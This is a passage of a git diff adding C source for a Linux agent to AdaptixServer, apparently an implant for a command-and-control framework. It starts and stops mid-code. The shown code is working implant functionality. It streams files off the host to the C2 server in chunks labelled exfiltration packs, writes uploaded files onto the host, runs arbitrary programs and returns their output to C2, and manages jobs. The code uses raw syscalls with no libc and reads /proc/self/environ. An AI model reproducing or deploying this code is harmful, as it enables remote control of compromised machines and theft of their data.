+ unsigned int __pad; unsigned long st_rdev; long st_size;
+ /* ... */ } st;
+ if (R_fstat(fd, &st) != 0) return -1;
+ return (int)st.st_size;
+}
+
+#else
+
+#define F_open(p,f,m) sys_open(p,f,m)
+#define F_close(fd) sys_close(fd)
+#define F_read(fd,b,n) sys_read(fd,b,n)
+#define F_write(fd,b,n) sys_write(fd,b,n)
+#define F_fork() sys_fork()
+#define F_setpgid(p,g) sys_setpgid(p,g)
+#define F_execve(p,a,e) sys_execve(p,a,e)
+#define F_dup2(o,n) sys_dup2(o,n)
+#define F_pipe(p) sys_pipe2(p,0)
+#define F_fcntl(fd,c,a) sys_fcntl(fd,c,a)
+#define F_waitpid(p,s,o) sys_wait4(p,s,o,(void*)0)
+#define F_kill(p,s) sys_kill(p,s)
+#define F_exit(s) sys_exit_group(s)
+#define F_usleep(u) sys_usleep(u)
+
+static int F_fstat_size(int fd) {
+ struct linux_stat st;
+ if (sys_fstat(fd, &st) != 0) return -1;
+ return (int)st.st_size;
+}
+
+#endif
+
+// O_* constants
+#ifndef O_RDONLY
+#define O_RDONLY 0
+#define O_WRONLY 1
+#define O_RDWR 2
+#define O_CREAT 0100
+#define O_TRUNC 01000
+#define O_NONBLOCK 04000
+#endif
+#ifndef F_SETFL
+#define F_SETFL 4
+#define F_GETFL 3
+#endif
+#ifndef WNOHANG
+#define WNOHANG 1
+#endif
+
+// ── Download ──
+// Spawns thread -> opens new C2 connection -> streams file in 1MB chunks
+// Wire: AnsDownload{id,path,size,content,start,finish,canceled}
+
+#define DOWNLOAD_CHUNK_SIZE (1024 * 1024) // 1MB
+
+typedef struct {
+ int job_idx;
+ char task[64];
+ char path[4096];
+} download_args_t;
+
+static void *download_thread(void *arg) {
+ download_args_t *args = (download_args_t*)arg;
+ job_context_t *ctx = &g_job_ctx;
+ job_entry_t *job = &ctx->jobs[args->job_idx];
+
+ // Open separate connection to C2
+ if (jobs_open_connection(ctx, &job->conn) != 0) {
+ job->active = 0;
+ ax_free(args);
+ return (void*)0;
+ }
+
+ // Send ExfilPack init: {id, type, task}
+ mp_writer_t pack_w;
+ mp_writer_init(&pack_w, 128);
+ mp_write_map(&pack_w, 3);
+ mp_write_kv_uint(&pack_w, "id", ctx->agent_id);
+ mp_write_kv_uint(&pack_w, "type", ctx->profile_type);
+ mp_write_kv_str(&pack_w, "task", args->task);
+
+ if (jobs_send_init(ctx, &job->conn, EXFIL_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) {
+ mp_writer_free(&pack_w);
+ conn_close(&job->conn);
+ job->active = 0;
+ ax_free(args);
+ return (void*)0;
+ }
+ mp_writer_free(&pack_w);
+
+ // Parse FileId from task hex string
+ int file_id = ax_hextoi(args->task);
+
+ // Open file
+ int fd = F_open(args->path, O_RDONLY, 0);
+ if (fd < 0) {
+ // Send canceled message
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128);
+ mp_write_map(&ans_w, 7);
+ mp_write_kv_int(&ans_w, "id", file_id);
+ mp_write_kv_str(&ans_w, "path", args->path);
+ mp_write_kv_int(&ans_w, "size", 0);
+ mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", true);
+ mp_write_kv_bool(&ans_w, "canceled", true);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+
+ conn_close(&job->conn);
+ jobs_remove(ctx, args->job_idx);
+ ax_free(args);
+ return (void*)0;
+ }
+
+ // Get file size
+ int total_size = F_fstat_size(fd);
+ if (total_size < 0) total_size = 0;
+
+ // Read and stream in chunks
+ uint8_t *chunk_buf = (uint8_t*)ax_malloc(DOWNLOAD_CHUNK_SIZE);
+ int offset = 0;
+ int first = 1;
+
+ while (offset < total_size && !job->canceled) {
+ int remaining = total_size - offset;
+ int to_read = remaining < DOWNLOAD_CHUNK_SIZE ? remaining : DOWNLOAD_CHUNK_SIZE;
+
+ long n = F_read(fd, chunk_buf, (size_t)to_read);
+ if (n <= 0) break;
+
+ int is_last = (offset + (int)n >= total_size);
+
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128 + (size_t)n);
+ mp_write_map(&ans_w, 7);
+ mp_write_kv_int(&ans_w, "id", file_id);
+ mp_write_kv_str(&ans_w, "path", args->path);
+ mp_write_kv_int(&ans_w, "size", (int64_t)total_size);
+ mp_write_kv_bin(&ans_w, "content", chunk_buf, (uint32_t)n);
+ mp_write_kv_bool(&ans_w, "start", first ? true : false);
+ mp_write_kv_bool(&ans_w, "finish", is_last ? true : false);
+ mp_write_kv_bool(&ans_w, "canceled", false);
+
+ if (jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len) != 0) {
+ mp_writer_free(&ans_w);
+ break;
+ }
+ mp_writer_free(&ans_w);
+
+ offset += (int)n;
+ first = 0;
+ }
+
+ // If canceled, send cancel marker
+ if (job->canceled && offset < total_size) {
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128);
+ mp_write_map(&ans_w, 7);
+ mp_write_kv_int(&ans_w, "id", file_id);
+ mp_write_kv_str(&ans_w, "path", args->path);
+ mp_write_kv_int(&ans_w, "size", (int64_t)total_size);
+ mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", true);
+ mp_write_kv_bool(&ans_w, "canceled", true);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ }
+
+ ax_free(chunk_buf);
+ F_close(fd);
+ conn_close(&job->conn);
+ jobs_remove(ctx, args->job_idx);
+ ax_free(args);
+ return (void*)0;
+}
+
+int task_download(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ // Parse ParamsDownload{Task, Path}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ char task[64] = {0};
+ char path[4096] = {0};
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 4 && ax_memcmp(k, "task", 4) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; }
+ } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (task[0] == '\0' || path[0] == '\0') {
+ write_error(w, "missing task or path");
+ return 0;
+ }
+
+ int idx = jobs_alloc(&g_job_ctx);
+ if (idx < 0) { write_error(w, "max jobs reached"); return 0; }
+
+ job_entry_t *job = &g_job_ctx.jobs[idx];
+ ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1);
+ job->job_type = JOB_TYPE_DOWNLOAD;
+ job->active = 1;
+
+ download_args_t *args = (download_args_t*)ax_malloc(sizeof(download_args_t));
+ args->job_idx = idx;
+ ax_strncpy(args->task, task, sizeof(args->task) - 1);
+ ax_strncpy(args->path, path, sizeof(args->path) - 1);
+
+ jobs_thread_create(&job->thread, download_thread, args);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "download started");
+ return 0;
+}
+
+// ── Upload ──
+// Synchronous — data received in chunks via normal command loop
+// Wire: ParamsUpload{Path, Content, Finish}
+
+int task_upload(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ char task[64] = {0};
+ char path[4096] = {0};
+ const uint8_t *content = (uint8_t*)0;
+ uint32_t content_len = 0;
+ bool finish = false;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 4 && ax_memcmp(k, "task", 4) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; }
+ } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; }
+ } else if (kl == 7 && ax_memcmp(k, "content", 7) == 0) {
+ mp_read_bin(&r, &content, &content_len);
+ } else if (kl == 6 && ax_memcmp(k, "finish", 6) == 0) {
+ mp_read_bool(&r, &finish);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (task[0] == '\0') { write_error(w, "missing task"); return 0; }
+
+ job_context_t *ctx = &g_job_ctx;
+
+ // Find or create upload entry
+ int uidx = -1;
+ for (int i = 0; i < ctx->upload_count; i++) {
+ if (ax_strcmp(ctx->uploads[i].task_id, task) == 0) { uidx = i; break; }
+ }
+ if (uidx < 0) {
+ if (ctx->upload_count >= MAX_JOBS) { write_error(w, "max uploads reached"); return 0; }
+ uidx = ctx->upload_count++;
+ ax_memset(&ctx->uploads[uidx], 0, sizeof(upload_entry_t));
+ ax_strncpy(ctx->uploads[uidx].task_id, task, sizeof(ctx->uploads[uidx].task_id) - 1);
+ }
+
+ upload_entry_t *up = &ctx->uploads[uidx];
+
+ // Append content
+ if (content && content_len > 0) {
+ size_t needed = up->data_len + content_len;
+ if (needed > up->data_cap) {
+ size_t new_cap = needed * 2;
+ if (new_cap < 4096) new_cap = 4096;
+ uint8_t *new_data = (uint8_t*)ax_malloc(new_cap);
+ if (up->data && up->data_len > 0) {
+ ax_memcpy(new_data, up->data, up->data_len);
+ ax_free(up->data);
+ }
+ up->data = new_data;
+ up->data_cap = new_cap;
+ }
+ ax_memcpy(up->data + up->data_len, content, content_len);
+ up->data_len += content_len;
+ }
+
+ if (finish) {
+ // Write file
+ int fd = F_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+ if (fd < 0) {
+ write_error(w, "failed to create file");
+ } else {
+ if (up->data && up->data_len > 0) {
+ F_write(fd, up->data, up->data_len);
+ }
+ F_close(fd);
+
+ mp_write_map(w, 2);
+ mp_write_kv_str(w, "path", path);
+ mp_write_kv_int(w, "size", (int64_t)up->data_len);
+ }
+
+ // Cleanup upload entry
+ if (up->data) ax_free(up->data);
+ for (int i = uidx; i < ctx->upload_count - 1; i++)
+ ctx->uploads[i] = ctx->uploads[i + 1];
+ ctx->upload_count--;
+ } else {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "chunk received");
+ }
+
+ return 0;
+}
+
+// ── Run ──
+// Spawns thread -> opens new C2 connection -> fork+execve -> streams stdout/stderr
+// Wire: AnsRun{Stdout, Stderr, Pid, Start, Finish}
+
+#define RUN_CHUNK_SIZE 65536 // 64KB
+
+typedef struct {
+ int job_idx;
+ char task[64];
+ char program[4096];
+ char *args[64];
+ int argc;
+} run_args_t;
+
+static void *run_thread(void *arg) {
+ run_args_t *rargs = (run_args_t*)arg;
+ job_context_t *ctx = &g_job_ctx;
+ job_entry_t *job = &ctx->jobs[rargs->job_idx];
+
+ // Open separate connection to C2
+ if (jobs_open_connection(ctx, &job->conn) != 0) {
+ job->active = 0;
+ for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]);
+ ax_free(rargs);
+ return (void*)0;
+ }
+
+ // Send JobPack init: {id, type, task}
+ mp_writer_t pack_w;
+ mp_writer_init(&pack_w, 128);
+ mp_write_map(&pack_w, 3);
+ mp_write_kv_uint(&pack_w, "id", ctx->agent_id);
+ mp_write_kv_uint(&pack_w, "type", ctx->profile_type);
+ mp_write_kv_str(&pack_w, "task", rargs->task);
+
+ if (jobs_send_init(ctx, &job->conn, JOB_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) {
+ mp_writer_free(&pack_w);
+ conn_close(&job->conn);
+ job->active = 0;
+ for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]);
+ ax_free(rargs);
+ return (void*)0;
+ }
+ mp_writer_free(&pack_w);
+
+ // Create pipes for stdout and stderr
+ int stdout_pipe[2], stderr_pipe[2];
+ if (F_pipe(stdout_pipe) != 0 || F_pipe(stderr_pipe) != 0) {
+ conn_close(&job->conn);
+ jobs_remove(ctx, rargs->job_idx);
+ for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]);
+ ax_free(rargs);
+ return (void*)0;
+ }
+
+ // Build argv
+ char *exec_argv[66];
+ exec_argv[0] = rargs->program;
+ for (int i = 0; i < rargs->argc && i < 63; i++)
+ exec_argv[i + 1] = rargs->args[i];
+ exec_argv[rargs->argc + 1] = (char*)0;
+
+ int pid = F_fork();
+ if (pid < 0) {
+ F_close(stdout_pipe[0]); F_close(stdout_pipe[1]);
+ F_close(stderr_pipe[0]); F_close(stderr_pipe[1]);
+ conn_close(&job->conn);
+ jobs_remove(ctx, rargs->job_idx);
+ for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]);
+ ax_free(rargs);
+ return (void*)0;
+ }
+
+ if (pid == 0) {
+ // Child process
+ F_setpgid(0, 0);
+ F_close(stdout_pipe[0]);
+ F_close(stderr_pipe[0]);
+ F_dup2(stdout_pipe[1], 1);
+ F_dup2(stderr_pipe[1], 2);
+ F_close(stdout_pipe[1]);
+ F_close(stderr_pipe[1]);
+
+ // Get environ from /proc/self/environ is complex, pass NULL
+ // On Linux, execve with NULL envp gives empty env
+ // Actually use the existing environment pointer (stack)
+ F_execve(rargs->program, exec_argv, (char*const*)0);
+ F_exit(1);
+ }
+
+ // Parent: close write ends
+ F_close(stdout_pipe[1]);
+ F_close(stderr_pipe[1]);
+
+ // Set reads to non-blocking
+ F_fcntl(stdout_pipe[0], F_SETFL, O_NONBLOCK);
+ F_fcntl(stderr_pipe[0], F_SETFL, O_NONBLOCK);
+
+ // Send start message
+ {
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128);
+ mp_write_map(&ans_w, 5);
+ mp_write_kv_str(&ans_w, "stdout", "");
+ mp_write_kv_str(&ans_w, "stderr", "");
+ mp_write_kv_int(&ans_w, "pid", pid);
+ mp_write_kv_bool(&ans_w, "start", true);
+ mp_write_kv_bool(&ans_w, "finish", false);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ }
+
+ // Streaming loop
+ uint8_t *out_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE);
+ uint8_t *err_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE);
+ int process_done = 0;
+
+ while (!process_done && !job->canceled) {
+ F_usleep(1000000); // 1 second
+
+ long out_n = F_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE);
+ if (out_n < 0) out_n = 0;
+
+ long err_n = F_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE);
+ if (err_n < 0) err_n = 0;
+
+ int status;
+ int wret = F_waitpid(pid, &status, WNOHANG);
+ if (wret > 0) process_done = 1;
+
+ if (out_n > 0 || err_n > 0) {
+ char *out_str = (char*)ax_malloc((size_t)out_n + 1);
+ ax_memcpy(out_str, out_buf, (size_t)out_n);
+ out_str[out_n] = '\0';
+
+ char *err_str = (char*)ax_malloc((size_t)err_n + 1);
+ ax_memcpy(err_str, err_buf, (size_t)err_n);
+ err_str[err_n] = '\0';
+
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n);
+ mp_write_map(&ans_w, 5);
+ mp_write_str(&ans_w, "stdout", 6);
+ mp_write_str(&ans_w, out_str, (uint32_t)out_n);
+ mp_write_str(&ans_w, "stderr", 6);
+ mp_write_str(&ans_w, err_str, (uint32_t)err_n);
+ mp_write_kv_int(&ans_w, "pid", pid);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", false);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ ax_free(out_str);
+ ax_free(err_str);
+ }
+ }
+
+ // If canceled, kill process group
+ if (job->canceled) {
+ F_kill(-pid, 9); // kill process group
+ F_waitpid(pid, (void*)0, 0);
+ }
+
+ // Drain remaining output
+ for (;;) {
+ long out_n = F_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE);
+ long err_n = F_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE);
+ if (out_n <= 0 && err_n <= 0) break;
+ if (out_n < 0) out_n = 0;
+ if (err_n < 0) err_n = 0;
+
+ char *out_str = (char*)ax_malloc((size_t)out_n + 1);
+ ax_memcpy(out_str, out_buf, (size_t)out_n);
+ out_str[out_n] = '\0';
+
+ char *err_str = (char*)ax_malloc((size_t)err_n + 1);
+ ax_memcpy(err_str, err_buf, (size_t)err_n);
+ err_str[err_n] = '\0';
+
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n);
+ mp_write_map(&ans_w, 5);
+ mp_write_str(&ans_w, "stdout", 6);
+ mp_write_str(&ans_w, out_str, (uint32_t)out_n);
+ mp_write_str(&ans_w, "stderr", 6);
+ mp_write_str(&ans_w, err_str, (uint32_t)err_n);
+ mp_write_kv_int(&ans_w, "pid", pid);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", false);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ ax_free(out_str);
+ ax_free(err_str);
+ }
+
+ // Send finish message
+ {
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128);
+ mp_write_map(&ans_w, 5);
+ mp_write_kv_str(&ans_w, "stdout", "");
+ mp_write_kv_str(&ans_w, "stderr", "");
+ mp_write_kv_int(&ans_w, "pid", pid);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", true);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ }
+
+ F_close(stdout_pipe[0]);
+ F_close(stderr_pipe[0]);
+ ax_free(out_buf);
+ ax_free(err_buf);
+ conn_close(&job->conn);
+ jobs_remove(ctx, rargs->job_idx);
+
+ for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]);
+ ax_free(rargs);
+ return (void*)0;
+}
+
+int task_run(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ char task[64] = {0};
+ char program[4096] = {0};
+ char *args[64];
+ int argc = 0;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 4 && ax_memcmp(k, "task", 4) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; }
+ } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; }
+ } else if (kl == 4 && ax_memcmp(k, "args", 4) == 0) {
+ uint32_t arr_count;
+ if (mp_read_array(&r, &arr_count) == 0) {
+ for (uint32_t j = 0; j < arr_count && argc < 63; j++) {
+ const char *v; uint32_t vl;
+ if (mp_read_str(&r, &v, &vl) == 0) {
+ args[argc] = (char*)ax_malloc(vl + 1);
+ ax_memcpy(args[argc], v, vl);
+ args[argc][vl] = '\0';
+ argc++;
+ }
+ }
+ }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (task[0] == '\0' || program[0] == '\0') {
+ for (int i = 0; i < argc; i++) ax_free(args[i]);
+ write_error(w, "missing task or program");
+ return 0;
+ }
+
+ int idx = jobs_alloc(&g_job_ctx);
+ if (idx < 0) {
+ for (int i = 0; i < argc; i++) ax_free(args[i]);
+ write_error(w, "max jobs reached");
+ return 0;
+ }
+
+ job_entry_t *job = &g_job_ctx.jobs[idx];
+ ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1);
+ job->job_type = JOB_TYPE_RUN;
+ job->active = 1;
+
+ run_args_t *rargs = (run_args_t*)ax_malloc(sizeof(run_args_t));
+ ax_memset(rargs, 0, sizeof(run_args_t));
+ rargs->job_idx = idx;
+ ax_strncpy(rargs->task, task, sizeof(rargs->task) - 1);
+ ax_strncpy(rargs->program, program, sizeof(rargs->program) - 1);
+ rargs->argc = argc;
+ for (int i = 0; i < argc; i++)
+ rargs->args[i] = args[i]; // Transfer ownership
+
+ jobs_thread_create(&job->thread, run_thread, rargs);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "run started");
+ return 0;
+}
+
+// ── Job List ──
+
+int task_job_list(mp_writer_t *w) {
+ job_context_t *ctx = &g_job_ctx;
+
+ int count = 0;
+ jobs_mutex_lock(&ctx->jobs_mutex);
+ for (int i = 0; i < MAX_JOBS; i++) {
+ if (ctx->jobs[i].active) count++;
+ }
+
+ mp_write_map(w, 1);
+ mp_write_str(w, "jobs", 4);
+ mp_write_array(w, (uint32_t)count);
+
+ for (int i = 0; i < MAX_JOBS; i++) {
+ if (ctx->jobs[i].active) {
+ mp_write_map(w, 2);
+ mp_write_kv_str(w, "job_id", ctx->jobs[i].job_id);
+ mp_write_kv_int(w, "job_type", ctx->jobs[i].job_type);
+ }
+ }
+ jobs_mutex_unlock(&ctx->jobs_mutex);
+
+ return 0;
+}
+
+// ── Job Kill ──
+
+int task_job_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ const char *id = (const char*)0;
+ uint32_t id_len = 0;
+
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 2 && ax_memcmp(k, "id", 2) == 0) {
+ mp_read_str(&r, &id, &id_len);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (!id || id_len == 0) { write_error(w, "missing id"); return 0; }
+
+ char id_str[64] = {0};
+ if (id_len >= sizeof(id_str)) id_len = sizeof(id_str) - 1;
+ ax_memcpy(id_str, id, id_len);
+
+ job_context_t *ctx = &g_job_ctx;
+
+ // Search in jobs (downloads + runs)
+ int idx = jobs_find(ctx, id_str);
+ if (idx >= 0) {
+ ctx->jobs[idx].canceled = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "job canceled");
+ return 0;
+ }
+
+ // Search in tunnels (MUX model: mark as closed, process_tunnels handles cleanup)
+ int ch_id = ax_atoi(id_str);
+ int tidx = tunnels_find(ctx, ch_id);
+ if (tidx >= 0) {
+ ctx->tunnels[tidx].state = TUNNEL_STATE_CLOSED;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel canceled");
+ return 0;
+ }
+
+ // Search in terminals
+ int term_idx = terminals_find(ctx, ch_id);
+ if (term_idx >= 0) {
+ ctx->terminals[term_idx].canceled = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "terminal canceled");
+ return 0;
+ }
+
+ write_error(w, "job not found");
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h
new file mode 100644
index 000000000..35742b4ea
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h
@@ -0,0 +1,16 @@
+#ifndef TASKS_ASYNC_H
+#define TASKS_ASYNC_H
+
+#include "msgpack.h"
+#include
+
+/// Async command handlers -- download, upload, run, job_list, job_kill
+/// These launch background threads with separate C2 connections
+
+int task_download(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_upload(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_run(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_job_list(mp_writer_t *w);
+int task_job_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+
+#endif /* TASKS_ASYNC_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c
new file mode 100644
index 000000000..4576fd433
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c
@@ -0,0 +1,729 @@
+/// tasks_fs.c -- Filesystem commands for Linux agent
+/// All ops via direct syscalls — zero libc dependency.
+
+#include "tasks_fs.h"
+#include "crt.h"
+#include "types.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// ── Linux constants ──
+
+#define O_RDONLY 0
+#define O_WRONLY 1
+#define O_RDWR 2
+#define O_CREAT 0100
+#define O_TRUNC 01000
+#define O_APPEND 02000
+
+// stat mode bits
+#define S_IFMT 0170000
+#define S_IFDIR 0040000
+#define S_IFREG 0100000
+#define S_IFLNK 0120000
+#define S_ISDIR(m) (((m) & S_IFMT) == S_IFDIR)
+#define S_ISREG(m) (((m) & S_IFMT) == S_IFREG)
+#define S_ISLNK(m) (((m) & S_IFMT) == S_IFLNK)
+#define S_IRUSR 0400
+#define S_IWUSR 0200
+#define S_IXUSR 0100
+#define S_IRGRP 0040
+#define S_IWGRP 0020
+#define S_IXGRP 0010
+#define S_IROTH 0004
+#define S_IWOTH 0002
+#define S_IXOTH 0001
+
+// getdents64 structure
+struct linux_dirent64 {
+ uint64_t d_ino;
+ int64_t d_off;
+ uint16_t d_reclen;
+ uint8_t d_type;
+ char d_name[];
+};
+
+#define DT_DIR 4
+#define DT_REG 8
+
+// ── Helpers ──
+
+static void write_error(mp_writer_t *w, const char *msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+/// Parse a single string field from msgpack params
+static int parse_string_param(const uint8_t *data, uint32_t data_len,
+ const char *key_name, char *out, size_t out_size) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ size_t kname_len = ax_strlen(key_name);
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+ if (klen == kname_len && ax_memcmp(key, key_name, klen) == 0) {
+ const char *val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) return -1;
+ if (vlen >= out_size) vlen = (uint32_t)(out_size - 1);
+ ax_memcpy(out, val, vlen);
+ out[vlen] = '\0';
+ return 0;
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+/// Parse two string fields (src, dst)
+static int parse_two_strings(const uint8_t *data, uint32_t data_len,
+ const char *key1, char *out1, size_t out1_size,
+ const char *key2, char *out2, size_t out2_size) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ size_t k1len = ax_strlen(key1);
+ size_t k2len = ax_strlen(key2);
+ int found = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+ if (klen == k1len && ax_memcmp(key, key1, klen) == 0) {
+ const char *val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) return -1;
+ if (vlen >= out1_size) vlen = (uint32_t)(out1_size - 1);
+ ax_memcpy(out1, val, vlen);
+ out1[vlen] = '\0';
+ found++;
+ } else if (klen == k2len && ax_memcmp(key, key2, klen) == 0) {
+ const char *val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) return -1;
+ if (vlen >= out2_size) vlen = (uint32_t)(out2_size - 1);
+ ax_memcpy(out2, val, vlen);
+ out2[vlen] = '\0';
+ found++;
+ } else {
+ mp_skip(&r);
+ }
+ }
+ return (found >= 2) ? 0 : -1;
+}
+
+/// Expand ~ to /home/ via /proc/self/environ HOME=
+static void normalize_path(const char *input, char *out, size_t out_size) {
+ if (input[0] == '~' && (input[1] == '/' || input[1] == '\0')) {
+ // Read HOME from /proc/self/environ
+ char env_buf[4096];
+ int fd = sys_open("/proc/self/environ", O_RDONLY, 0);
+ if (fd >= 0) {
+ long n = sys_read(fd, env_buf, sizeof(env_buf) - 1);
+ sys_close(fd);
+ if (n > 0) {
+ env_buf[n] = '\0';
+ // Environ is null-separated. Find HOME=
+ char *p = env_buf;
+ char *end = env_buf + n;
+ while (p < end) {
+ if (p[0] == 'H' && p[1] == 'O' && p[2] == 'M' && p[3] == 'E' && p[4] == '=') {
